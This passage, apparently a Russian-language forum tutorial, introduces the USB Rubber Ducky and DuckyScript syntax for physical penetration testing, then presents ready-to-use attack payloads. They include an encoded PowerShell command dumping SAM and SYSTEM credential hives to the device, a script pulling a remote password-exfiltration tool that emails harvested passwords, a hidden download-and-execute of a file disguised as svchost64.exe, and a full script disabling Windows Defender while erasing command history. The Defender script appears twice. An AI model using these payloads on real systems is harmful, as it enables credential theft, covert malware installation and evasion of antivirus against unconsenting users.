Физический пентест довольно актуален при этапе “проникновение в локальную сеть”. Одним из методов физического пентеста является "бросание флешки", при котором специалист по безопасности оставляет специально подготовленную флешку в зоне доступа к системе, которую необходимо проверить. Если кто-то вставляет флешку в свой компьютер, это может привести к заражению компьютера вредоносной программой.
Еще один метод - это проверка защищенности зданий и помещений. Пентестеры могут попытаться взломать замки или проникнуть в помещения, где хранятся конфиденциальные данные или важное оборудование.
В целом, физический пентест направлен на проверку безопасности объектов изнутри, включая системы, здания и процессы. Это может помочь выявить уязвимости, которые не могут быть обнаружены с помощью других методов тестирования.
Можно выделить три основных этапа физического пентеста:
- Определение целей
- Разведка и подготовка
- Исполнение
Когда мы проникли в здание или в нужную нам локацию (офис , серверная , склад) мы можем использовать Rubber Ducky для автоматизации быстрых действий на пк , например: скрытая установка мальваря , дамп учетных данных пк , захват учетной записи и т.д.
Имея этот прекрасный девайс мы можем захватить целую сеть , только одним махом руки - запхать флешку в порт USB нашей цели. Об реализации этого поговорим в главе “Атака на корпоративную сеть с помощью Rubber Ducky” , а пока что нам нужно изучить сам девайс , и написать подходящий скрипт для правильной роботы устройства.
Использование такого девайса во время физического пентеста , можно увидеть в сериале мистер робот , когда команда элиота разбросала такие устройства под видом простых USB накопителей.
Тем самым , провокация любопытного пиндоса прошла успешно) он засунул “флешку” в USBпорт на своем пк , тем самым установил мальварь на пк. Далее по сюжету они заразили целую сеть , и потом еще происходили много внеземной хрени) Не суть…
Если смотреть с точки анализа проблемы на эту ситуацию – мы можем понять , что социальная инженерия – всему голова , ведь самое уязвимое место в системе - это кожаные мешки мяса)
Смотрим уточку
Распаковка и внешний вид девайсаЯ заказал устройство с офф сайта - https://shop.hak5.org/products/usb-rubber-ducky
Мне пришла новая Rubber ducky (второй ревизии) в синем конверте , вышло очень креативно , Hak5 постарались над дизайном.
В конверте было:
Rubber Ducky
Главное в упаковке , устройство которое напоминает обычную флешку , имеет USB type A и USB type C выходы.
Устройство имеет черный пластиковый корпус , который очень царапается при разборке корпуса) так что будьте с ним аккуратно) также железная крутилка , которая закрывает выход USB.
Наклейки
Стикеры от Hak5 , три капельки которых нету) используются для модификации , об этом поговорим в следующей главе.
Визитка
Красивая визитка с описанием вида устройства и линками на туториалы и мануалы по использованию устройства.
Разборка
- Разжимаем пальцами железку.
- Снимаем заглушку для второго порта USB type C.
- Ногтем или тонким острым предметом раскрываем пластиковые части корпуса.
Теперь мы можем увидеть голую Badusb , как не странно , плата не очень похожая на плату флешки)
Это логично , ведь тут у нас целый процессор для отработки скриптов
Внутренности и плата
-Микроконтроллер (например, ATmega32u4)
-USB-коннектор type A
- USB-коннектор type C
-Память (например, EEPROM или флэш-память)
-Кнопка
-Светодиод
-HID контроллер
Микроконтроллер
Микроконтроллер (Процессор) – главная часть на плате , отрабатывающая запросы от других железок на плате , и заставляющая эти железки логично работать.
На новой ревизии стоит процессор Atmel 32UC3B1512
USB-коннектор type A
USB-коннектор type A – простой USB выход , для того чтобы устройство можно было подключить к пк, или к другим портам через адаптер типа:
-USB type A – USB type C
-USB type A – USB type B
-USB type A – Lightning
USB-коннектор type C
USB-коннектор type C - спецификация USB для универсального компактного двухстороннего 24-контактного разъёма для USB-устройств и USB-кабелей.
Порт для этого коннектора , в последнее время начали пихать повсюду… Мобилки , ноуты , телики , да даже бля тостеры!
Память
Устройство использует блок памяти , для сохранения байтов данных , которые должен отработать процессор.
Также возле коннектора USB type C мы можем увидеть слот для Micro SD карты , на ней можно держать готовые скрипты.
В комплекте идет Micro SD карта на 128мб , не очень много но для начала пойдет.
При переходе устройства в режим накопителя (по дефолту нужно просто нажать на кнопку которая находиться на плате.) мы можем увидеть в проводнике нашу Micro SD карту , туда мы и будем заливать готовые .bin скрипты.
Кнопка
По дефолту кнопка вводит устройство в режим накопителя , тем самым если мы хотим закинуть или изменить , удалить скрипт который установлен на Micro SD карту , пихаем устройство в USB порт , и быстро нажимаем кнопку.
Также функцию назначения кнопки можно изменять , вписав специальную функцию кода на языке duckyscript в .bin файл , который будет закинут на Rubber Ducky. Об этом мы поговорим в разделе про duckyscript.
Но есть одна проблема - кнопку не видно и не возможно нажимать когда Rubber Ducky в корпусе. Hak5 придумали решение проблемы – стикеры , помните я говорил про три стикера которых не было в стикер паке? Так вот , они в обратной стороны корпуса.
Иза того что корпус пластиковый , он прогибается а если на корпусе напротив кнопки налепить наклейки , мы сможем кликать на кнопку не разбирая корпус. Потому что корпус на котором несколько слоев стикеров будет давить на кнопку.
Силу нажатия можно регулировать количеством слоев стикеров , я поставил 3 , для меня это золотая середина.
Светодиод
Светодиод на плате предназначен для уведомления об статусе атаки.
Мигающий зеленый свет – скрипт работает, атака в процессе.
Зеленый свет – пауза , атака закончилась.
Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта
Также с помощью функции в коде скрипта , можно изменять цвет индикатора , частоту мигания и еще много другого , это мы обсудим также в разделе про duckyscript.
HID контроллер
HID контроллер – один из главных модулей на плате , он отвечает за ввод команд на устройстве жертвы.
Также этот модуль в новых версиях Rubber Duckyс помощью новой функции в duckyscript умеет подменять HID идентификаторы , тем самым представляя себя устройству за такие HID аксессуары как клавиатура или накопитель.
Первый запуск Rubber Ducky
Открыли мы упаковку… посмотрели мы и внутри и снаружи…
Значит теперь пришло время проникновения)))
После того как вставили Rubber Ducky в USB порт , в проводнике у нас появиться новое устройство – накопитель.
Перейдя в накопитель мы увидим папку с документацией.
Теперь сохраняем себе эту папку на пк , и полностью удаляем все файлы с накопителя Rubber Ducky.
Принцип работы устройства
Когда вы подключаете Rubber Ducky к компьютеру, он распознается как устройство USB HID (Human Interface Device). Это позволяет Rubber Ducky эмулировать клавиатуру и мышь, и отправлять команды на ваш компьютер.
После того, как вы запускаете скрипт на Rubber Ducky, микроконтроллер на плате начинает обрабатывать команды и преобразовывать их в последовательность символов, которые эмулируются как нажатия клавиш на клавиатуре.
Далее эти символы отправляются на компьютер и там происходят уже заранее записаны в .bin файл команды.
Пройдемся по каждому этапу:
1.Создание скрипта с алгоритмом атаки
Для написания и конвертации скриптов на языке программирования есть вебсайт – текстовый редактор Payload studio. Редактор сделала сама компания Hak5 и в нем возможно писать только на duckyscript.
Переходим на https://payloadstudio.hak5.org/community/
Перед собой мы увидим текстовый редактор , сюда пишем свой код на duckyscript.
2.Конвертирование скрипта в .bin файл
Написав нужный нам код , нажимаем на кнопку Generate Payload , снизу слева.
Редактор сгенерировал нам готовый .bin файл с скриптом. Нажимаем кнопку Download , и скачиваем файл прямо из браузера.
3.Установка скрипта на модуль памяти Rubber Ducky
После подключения Rubber Ducky к пк , нажимаем кнопку на плате , чтобы перевести устройство в режим флэш накопителя.
Еще можно разобрать корпус Rubber Ducky , аккуратно вынимаем Micro SD карту из слота , и вставляем в пк.
Теперь в проводнике мы увидим новый накопитель , теперь сюда закидываем скаченный из браузера файл , файл обязательно должен иметь название inject.bin
(В накопителе Rubber Ducky должен быть только один файл – inject.bin)
4.Атака типа Badusb
После того как мы закинули файл inject.bin с нашим скриптом на Rubber Ducky , мы можем приступать к атакам.
Для проведения атаки , стоит просто уточке войти в любой USB порт , тогда при получении напряжения Rubber Ducky начнет атаку.
Помним – если хотим вставить утку в свой пк чтобы изменить/удалить скрипт , тогда либо вынимаем Micro SD карту из слота ,и далее работаем с ней в проводнике , либо после того как вставили утку , быстро нажимаете кнопку на плате для перехода в режим накопителя.
Первые шаги в атаках
После ознакомления с чудо девайсом , поговорим об атаках.
Атаки можно проводить на всех устройствах , которые поддерживают ввод информации физической клавиатуры.
Большинство атак происходит через алгоритм:
-открой командную строку
-Введи мою команду (скачай мой файл , или выполни код)
Еще Badusb можно использовать для брутфорса , например:
-брутфорс входа в систему (windows/Linux)
-брутфорс ПИН-кода , пароля мобильника (Android , IOS)
Когда мы проводим атаку на системе windows , для ввода команд , лучше использовать PowerShell.
Где взять готовые скрипты?
Готовые сборники скриптов на языке duckyscript вы сможете найти на Github , эти скрипты в народе называют payload.
Несколько репозиториев с ducky script payload-ами.
- https://github.com/hak5/usbrubberducky-payloads
- https://github.com/topics/ducky-payloads
- https://github.com/FalsePhilosopher/badusb
Написание скриптов для кастомных атак
Вкратце про duckyscriptduckyscript - это язык программирования, который используется для написания скриптов для Rubber Ducky.
duckyscript позволяет написать скрипт, который будет имитировать нажатия клавиш на клавиатуре компьютера, а также другие действия, такие как задержки, нажатия на комбинации клавиш и запуск программ.
Также в новой версии duckyscript , Hak5 добавили много крутых функций в свой ЯП , например:
- Изменение режима атаки. HID, STORAGE , OFF
-Подмена идентификатора HID
-Определение атакуемой ОС
-Управление внутренним хранилищем
На вид ,код на языке duckyscript это набор команд и клавиш которые должен отработать процессор Rubber Ducky и отправить сигнал на HID модуль.
Но это не до конца так , когда начнете углубляться в изучение этого языка программирования , поймете что тут есть и запись данных в переменные , и логические операторы , и циклы , и функции и много всего интересного!
Перед изучением синтаксиса , запомните несколько базовых функций:
REM – комментарий в коде , при отработке скрипта интерпретатор будет игнорировать текст в строке после REM.
REM это строчка в которой этот текст будет комментарием
DELAY – это функция задержки , паузы между выполнением команд.
DELAY <время в мс>
Минимальное значение задержки равно 20.
В среднем , для адекватной роботы кода советую ставить значение задержки 100
Если атакуемая машина очень тормозит или имеет старое железо , значит значение задержки должно быть больше чтобы код сработал правильно.
В таком случае задержку ставим 800.
Эмуляция нажатий клавиш
Одной из главных функций этого языка программирования есть эмуляция нажатий клавиш.
STRING
STRING – функция которая используется для ввода текста как будто он вводится с клавиатуры.
Синтаксис и примеры:
Код:
STRING ls
STRING Hello world!
Представьте что прямо сейчас вы ввели текст Hello world на клавиатуре никуда не входив и не выходив.
Это и сделает строка STRING Hello world!
STRINGLN
Также одной из разновидностей функции STRING есть функция STRINGLN
Разница между этими функциями в том что функция STRINGLN после ввода нам нужного текста нажимает Enter.
Синтаксис и примеры:
Код:
STRINGLN ls
Если у себя на пк c линуксом открыть консоль и вставить Rubber Ducky с этим скриптом , тогда у нас отработается команда ls , и мы увидим все файлы в текущей директории.
ENTER , ESCAPE , PAUSE , BREAK , Fx
Для эмулирования нажатия таких системных клавиш как:
-ENTER
-ESCAPE
-PAUSE
-BREAK
-F1 F2 F3 F4 F5 F6 F7 F8 F9 F0 F11 F12
Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.
Например , 2 строки:
Код:
STRING LS
ENTER
Заменяют строку STRINGLN , или наоборот.
SHIFT, ALT, CONTROL CTRL, COMMAND, WINDOWS
Для эмулирования нажатия таких клавиш как:
-SHIFT
-ALT
-CONTROL CTRL
-COMMAND
-WINDOWS GUI
Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.
GUI это в большинстве случаев клавиша WIN (Windows) , и самая популярная связка этой клавиши с другой , это win + r (выполнить)
Когда нам надо эмулировать комбинацию из двух клавиш , нам надо писать строку таким способом:
GUI rREM эта строка открывает окошко выполнить когда атакуемая система windows
По такому принципу работают все комбинации.
Несколько популярных комбинаций на заметку:
Код:
GUI r
BACKSPACE
CTRL a
CTRL c
CTRL v
ALT F4
CAPSLOCK, NUMLOCK , SCROLLLOCK
Для использования (ввода текста) через эти клавиши , в коде пишем название клавиши , и тогда она будет включена в нашей виртуальной клавиатуре.
Примеры:
Код:
ATTACKMODE HID STORAGE
DELAY 2000
CAPSLOCK
STRING abc123XYZ
Таймауты
Команда DELAY в языке duckyscript используется для задержки выполнения следующей команды на определенное количество времени.
Это может быть полезно, если вы хотите создать задержку между командами или задержать выполнение следующей команды до тех пор, пока не завершится предыдущая команда.
Синтаксис команды DELAY:
DELAY [время в миллисекундах]Например, чтобы задержать выполнение следующей команды на 3 секунды, необходимо ввести команду DELAY 3000 (3 секунды = 3000 миллисекунд).
DELAY 5000REM Задержка 5 секунд
В этом примере мы используем переменную DELAY, которую предварительно задали в скрипте, чтобы задержать выполнение следующей команды на 5 секунд.
Задержки могут быть полезными в том случае, если вы хотите, чтобы выполнение скрипта было более реалистичным и не выглядело как автоматическое действие. Например, если вы создаете скрипт для взлома пароля, то можно добавить небольшие задержки между набором символов, чтобы скрипт выглядел более естественно и не вызывал подозрений. Однако, учтите, что слишком большие задержки могут привести к тому, что выполнение скрипта займет слишком много времени.
Горячие клавиши и комбинации двух клавиш
Комбинации клавиш помогут нам работать с атакуемой системой быстрее , ведь множество ОС имеют свои горячие клавиши для удобного и быстрого взаимодействия с системой.
Комбинация с помощью пробела
Примеры:
Код:
GUI r
CTRL a
CTRL c
CTRL v
ALT F4
Комбинация с помощью –
Примеры:
Код:
CTRL-ALT
CTRL-SHIFT
ALT-SHIFT
COMMAND-CTRL
COMMAND-CTRL-SHIFT
COMMAND-OPTION
COMMAND-OPTION-SHIFT
Запись информации в переменную
Также в языке программирования duckyscript можно использовать переменные.
Переменные - это именованные контейнеры для хранения значений в duckyscript.
Они используются для упрощения написания скрипта и повышения его гибкости.
Переменные содержат целые числа без знака со значениями в диапазоне от 0 до 65535. Логические значения могут быть представлены ключевыми словами TRUE и FALSE или любым ненулевым целым числом для значений true и 0false.
Все переменные имеют глобальную область видимости — это означает, что на них можно ссылаться в любом месте полезной нагрузки.
VAR
VAR – функция которая позволяет создавать переменные и работать с ними.
Чтобы создать переменную с помощью функции VAR , пишем следующую строку:
VAR $A = 1337Это значит что мы создаем переменную с именем A и помещаем туда такую информацию как число 1337
DEFINE
DEFINE – функция которая позволяет создавать локальные переменные.
Чтобы использовать ее для замены данных пишем такую строчку:
DEFINE FOO Hello, World!
Это можно перевести на человеческий язык как:
Замени словом FOO слово Hello , World!
Применим на практике такой код:
Код:
DEFINE FOO Hello, World!
GUI r
DELAY 500
STRING FOO
Запустив его на атакуемой машина под управлением ОС windows , строка STRING FOO напишет не FOO , а то значение которым мы заменили слово FOO , в нашем случае это значение Hello world!
Циклы в duckyscript
Цикл в программировании – функция , которая позволяет повторять какое то действия , зависимо от условия и количества повторений.
WHILE
Цикл WHILE в duckyscript используется для повторения действий.
Конструкция кода с циклом WHILE будет построена так:
WHILE (<условие>)
<действие которое будет повторятся>
END_WHILE
Пример кода duckyscript с использованием цикла WHILE:
REM код в цикле 15 раз мигает светодиодом на плате
Код:
VAR $FOO = 15
WHILE ( $FOO > 0 )
LED_G
DELAY 500
LED_OFF
DELAY 500
$FOO = ( $FOO - 1 )
END_WHILE
LED_R
Этот код в цикле , 15 раз мигает светодиодом , разберем детально.
-строка VAR $FOO = 15 значит что мы присвоили переменной FOO значение 15
-строка WHILE ( $FOO > 0 ) значит , отрабатывать цикл пока значение переменной FOO не станет меньше 0
-строка $FOO = ( $FOO - 1 ) минусует каждый раз число 1 от значения переменной FOO
Тем самым начальное значение переменной FOO 15 , а после того как цикл прошел ,коло значение уже 14 , так весь код уменьшает значение пока оно не станет меньше 0.
Операторы
Условные операторы в программировании – правила кода , которые исполняют код если условие ровно True.
Перейдем к коду.
Конструкция условного оператора IF:
IF (<условие>) THEN
<код который будет выполнятся если условие правильное>
END_IF
Теперь посмотрим на код со стороны адекватного человека)))
Переводим код на понятный человеческий язык:
Если (<условие такое то>) тогда
Сделай то
Конец алгоритма
Конструкция условного оператора IF – ELSE:
Добавляя в алгоритм условный оператор ELSE , мы можем заставить код обрабатывать несколько условий и проверять их работоспособность.
Если первое условие не было выполнено , тогда проверь второе условие , и если оно правильное , выполни код.
Конструкция кода:
IF (<условие>) THEN
<код который будет выполнятся если условие правильное>
ELSE IF (<условие>) THEN
<код который будет выполнятся если условие правильное>
END_IF
Переводим код на понятный человеческий язык:
Если (<условие такое то>) тогда
Сделай то
Иначе(<условие такое то>) тогда
Сделай то
Конец алгоритма
Дополнительные функции языка от Hak5
Определение Операционной системы
Для определения атакующей операционной системы, в duckyscript добавили специальную функцию.
Импорт функции:
EXTENSION OS_DETECTIONУправление кнопкой и присвоение ей функций
Готовые алгоритмы роботы кнопки:
Код:
WAIT_FOR_BUTTON_PRESS
STRING Press the button...
WAIT_FOR_BUTTON_PRESS
STRING The button was pressed!
Код:
BUTTON_DEFBUTTON_DEF
BUTTON_DEF
STRING The button was pressed!
STOP_PAYLOAD
END_BUTTON
Код:
DISABLE_BUTTON
BUTTON_DEF
STRING This will never execute
END_BUTTON
DISABLE_BUTTON
STRING The button is disabled
WHILE TRUE
STRING .
DELAY 1000
END_WHILE
Код:
ENABLE_BUTTON
BUTTON_DEF
STRINGLN The button was pressed!
STRINGLN Continuing the payload...
END_BUTTON
Код:
WHILE TRUE
DISABLE_BUTTON
STRINGLN The button is disabled for the next 5 seconds...
STRINGLN Pressing the button will do nothing...
DELAY 5000
Код:
ENABLE_BUTTON
STRINGLN The button is enabled for the next 5 seconds...
STRINGLN Pressing the button will execute the button definition...
DELAY 5000
END_WHILE
$_BUTTON_ENABLED
IF ($_BUTTON_ENABLED == TRUE) THEN
REM The button is enabled
ELSE IF ($_BUTTON_ENABLED == FALSE) THEN
REM The button is disabled
END_IF
$_BUTTON_USER_DEFINED
IF ($_BUTTON_USER_DEFINED == TRUE) THEN
REM Pressing the button will run the user defined BUTTON_DEF
END_IF
$_BUTTON_PUSH_RECEIVED
REM Example $_BUTTON_PUSH_RECEIVED
STRING PUSH BUTTON N times within 5s
$CD = 15
WHILE ($CD > 0)
IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN
STRINGLN Passed
$_BUTTON_PUSH_RECEIVED = FALSE
END_IF
$CD = ($CD - 1)
STRING .
DELAY 200
END_WHILE
$_BUTTON_ENABLED = TRUE
$_BUTTON_PUSH_RECEIVED = FALSE
IF ($_BUTTON_ENABLED == TRUE) THEN
REM The button is enabled
ELSE IF ($_BUTTON_ENABLED == FALSE) THEN
REM The button is disabled
END_IF
$_BUTTON_USER_DEFINED
IF ($_BUTTON_USER_DEFINED == TRUE) THEN
REM Pressing the button will run the user defined BUTTON_DEF
END_IF
$_BUTTON_PUSH_RECEIVED
REM Example $_BUTTON_PUSH_RECEIVED
STRING PUSH BUTTON N times within 5s
$CD = 15
WHILE ($CD > 0)
IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN
STRINGLN Passed
$_BUTTON_PUSH_RECEIVED = FALSE
END_IF
$CD = ($CD - 1)
STRING .
DELAY 200
END_WHILE
$_BUTTON_ENABLED = TRUE
$_BUTTON_PUSH_RECEIVED = FALSE
Управление LED индикатором
Как мы помним , у индикатора на плате есть 3 режима цвета и мигания.
Мигающий зеленый свет – скрипт работает, атака в процессе.
Зеленый свет – пауза , атака закончилась.
Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта
Также с помощью специальных функций языка duckyscript , мы можем изменять цвет индикатора и частоту мигания.
LED_OFF
Это функция которая отключает свечение индикатора.
Чтобы отключить индикатор , добавьте в код строку:
LED_OFF
LED_R
Эта функция изменяет цвет свечения индикатора на красный.
Для использования в коде , пишем:
LED_RLED_G
Эта функция изменяет цвет свечения индикатора на зеленый.
Для использования в коде , пишем:
LED_GВот и закончили мы мучительное путешествие по недрам программирования и скучного и непонятного процесса взаимосвязи кода и физических модулей Rubber Ducky.
Но за то поняли на что возможна уточка и ее язык программирования duckyscript.
В следующим разделе мы будем разбирать атаки на разные устройства , такие как пк , телефон , роутер. С помощью знаний которые мы получили от моего нудного материала с кодами)
Атаки на устройства
Имея физический доступ к атакуемом ПК ,под управлением такой операционной системы как Windows или Linux , мы можем делать очень многое.
Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:
Дамп данных – к этому вектору относятся такие дампы информации как: дамп хэшей админов , дамп сохраненных wifi паролей , и дамп паролей Chrome.
Информация сохраняется на внутреннем накопителе Rubber Ducky.
Автоматизация действий злоумышленника – получив доступ к системе , на основе знаний которые мы получили в 3 главе , будем писать скрипт для автоматизации действий на атакуемом ПК.
Приоритет атак в Badusb в том – что это очень быстро и тихо , то есть атака привлекает мало внимания.
Суть Badusb атаки-, быстро выполнить алгоритм действий который написанный в скрипте.
Скрытая установка и запуск файлов – один из самых главных векторов атак – скачать и запустить файл на атакуемой системе , вставив только “флешку” в USB порт на 5 секунд)
Установка и запуск файла осуществляется через консоль PowerShell. Мы же все понимаем , что во время пентеста злоумышленник не будет скачивать на атакуемую систему Need for Speed most wanted , или крякнутую версию Windows office.
Пентестер использует такие полезные нагрузки как meterpreter , или RAT программы.
Отключение Windows Defender , добавление файла в исключения антивируса (только для Windows)– также имея доступ к командной строке PowerShell от имени администратора системы , мы можем изменять настройки Firewall и антивируса Windows Defender.
Мы можем его полностью отключить , или добавить скачанный файл в исключения антивируса , чтобы внезапное отключение антивируса не привлекло внимания админа.
Пишем свой скрипт на duckyscript для атак на Windows/Linux
Дампим учетные данные и хэши админов:
Код:
DELAY 500
ATTACKMODE HID STORAGE
DELAY 1000
GUI r
DELAY 1000
STRING powershell Start-Process powershell -Verb runAs
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
DELAY 1000
STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=
DELAY 500
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit
Скрипт тянет учетные данные системы и хэш – пароли администраторов системы.
Сохраняет эти данные в архив в внутренний накопитель Rubber Ducky.
Дампим сохраненные пароли на устройстве
Код:
REM TITLE "Hasta lasagna!"
REM AUTHOR m4ki3lf0
REM TARGET Approved on Win10, Probably working on Win11
REM DESCRIPTION This will download the password exfiltration script (your modified version for your preferred exfiltration method), download execute lazagne.exe save result to a file and send it to yourself
REM VERSION 1.0
DEFAULT_DELAY 300
DELAY 1000
GUI r
STRING powershell -exec bypass -NoP
DELAY 1000
CTRL SHIFT ENTER
DELAY 1000
LEFT
ENTER
DELAY 1000
STRING powershell (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/m4ki3lf0/BadUsbScripts/main/PasswordExfiltration/PasswordExfiltration.ps1')
ENTER
1.Скачиваем файл https://raw.githubusercontent.com/m...PasswordExfiltration/PasswordExfiltration.ps1
2.В этих сроках пишем свою почту и smtp сервер.
3.поднимаем файл PasswordExfiltration.ps1 на общедоступный сервер
4.В коде скрипта duckyscript в предпоследней строке вводим путь к файле на серваку.
Скрытая установка и запуск файла
Код:
GUI r
DELAY 500
STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile(<ip>,\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\")
<ip> заменить на ip сервера на котором лежим файл , файл назовите svchost64.exe
Скрипт используя PowerShell , в тихом режиме устанавливает ваш файл с сервера и запускает.
REM VERSION 1.0
REM Author HackingMark
REM Disables Tampering Protection and Kills Windows Defender on Win 22H2
REM Tested on German Computers
REM Uncomment DISABLE_WINDOWS_DEFENDER() or RESTORE() at the end to use it within the Extension or call it later in your Payload.
REM Attack Commands for disabling RTP and Defender with (T)/without(F) clearing or (R) Restore
DEFINE ATTACK_F Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; exit;
DEFINE ATTACK_T Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;
DEFINE ATTACK_R Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; exit;
DEFINE ATTACK_RC Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;
REM Change the Term for "Windows-Securitycenter" for your Target Language here:
DEFINE TERM_WIN_SEC_CENTER Windows-Sicherheit
REM CLEAN = TRUE deletes PS History, set to FALSE to run Payload without deleting History
VAR $clean = TRUE
ATTACKMODE HID
DELAY 2000
FUNCTION DISABLE_WINDOWS_DEFENDER()
GUI s
DELAY 500
STRINGLN TERM_WIN_SEC_CENTER
DELAY 500
ENTER
TAB
TAB
TAB
TAB
ENTER
DELAY 500
TAB
TAB
TAB
TAB
SPACE
DELAY 500
ALT j
DELAY 500
ALT F4
DELAY 1500
GUI x
DELAY 100
STRING a
DELAY 500
ALT j
DELAY 500
IF ($clean == TRUE) THEN
STRINGLN ATTACK_T
ELSE
STRINGLN ATTACK_F
END_IF
END_FUNCTION
FUNCTION RESTORE()
GUI x
DELAY 100
STRING a
DELAY 500
ALT j
DELAY 500
IF ($clean == TRUE) THEN
STRINGLN ATTACK_RC
ELSE
STRINGLN ATTACK_R
END_IF
END_FUNCTION
REM Uncomment the Mode you want to use:
REM DISABLE_WINDOWS_DEFENDER()
REM RESTORE()
Скрипт отключает Windows Defender на атакуемой системе.
REM Author HackingMark
REM Disables Tampering Protection and Kills Windows Defender on Win 22H2
REM Tested on German Computers
REM Uncomment DISABLE_WINDOWS_DEFENDER() or RESTORE() at the end to use it within the Extension or call it later in your Payload.
REM Attack Commands for disabling RTP and Defender with (T)/without(F) clearing or (R) Restore
DEFINE ATTACK_F Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; exit;
DEFINE ATTACK_T Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;
DEFINE ATTACK_R Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; exit;
DEFINE ATTACK_RC Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;
REM Change the Term for "Windows-Securitycenter" for your Target Language here:
DEFINE TERM_WIN_SEC_CENTER Windows-Sicherheit
REM CLEAN = TRUE deletes PS History, set to FALSE to run Payload without deleting History
VAR $clean = TRUE
ATTACKMODE HID
DELAY 2000
FUNCTION DISABLE_WINDOWS_DEFENDER()
GUI s
DELAY 500
STRINGLN TERM_WIN_SEC_CENTER
DELAY 500
ENTER
TAB
TAB
TAB
TAB
ENTER
DELAY 500
TAB
TAB
TAB
TAB
SPACE
DELAY 500
ALT j
DELAY 500
ALT F4
DELAY 1500
GUI x
DELAY 100
STRING a
DELAY 500
ALT j
DELAY 500
IF ($clean == TRUE) THEN
STRINGLN ATTACK_T
ELSE
STRINGLN ATTACK_F
END_IF
END_FUNCTION
FUNCTION RESTORE()
GUI x
DELAY 100
STRING a
DELAY 500
ALT j
DELAY 500
IF ($clean == TRUE) THEN
STRINGLN ATTACK_RC
ELSE
STRINGLN ATTACK_R
END_IF
END_FUNCTION
REM Uncomment the Mode you want to use:
REM DISABLE_WINDOWS_DEFENDER()
REM RESTORE()
Скрипт отключает Windows Defender на атакуемой системе.
Атаки на мобилки
Rubber Ducky также работает с мобильными устройствами (телефоны планшеты)
Атаки будем проводить на ОС Android и IOS.
При пентесте , получение доступа к этим устройствам есть тоже очень важным этапом (особенно при физическом пентесте)
Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:
Открытие веб-сайтов – вставив флешку в устройство , и оно через браузер по умолчанию переходит на прописанную вами в скрипт ссылку.
Работает как и на IOS так и на Android.
Открытие SSH службы – используя инструмент Termux , Rubber Ducky устанавливает и запускает службу SSH , с вашими кредами.
Работает на Android , если на устройстве установлен Termux.
Bruteforse ПИН-кода (4 числа) – используя виртуальную клавиатуру , устройство подбирает ПИН-код из 4 цифр.
Работает на Android.
Установка мальваря на Android устройство – с помощью браузера , уточка устанавливает ваш apk файл и запускает его.
Работает на Android.
Открытие веб-сайтов
Android:
Код:
REM Title: Android Browse to URL Example
REM Author: Hak5Darren
REM Desscription: Opens browser. Navigates to URL.
REM Target: "most" Android devices (compatibility varies by vendor implementation)
REM DuckyScript: 3.0
ATTACKMODE HID STORAGE
WAIT_FOR_BUTTON_PRESS
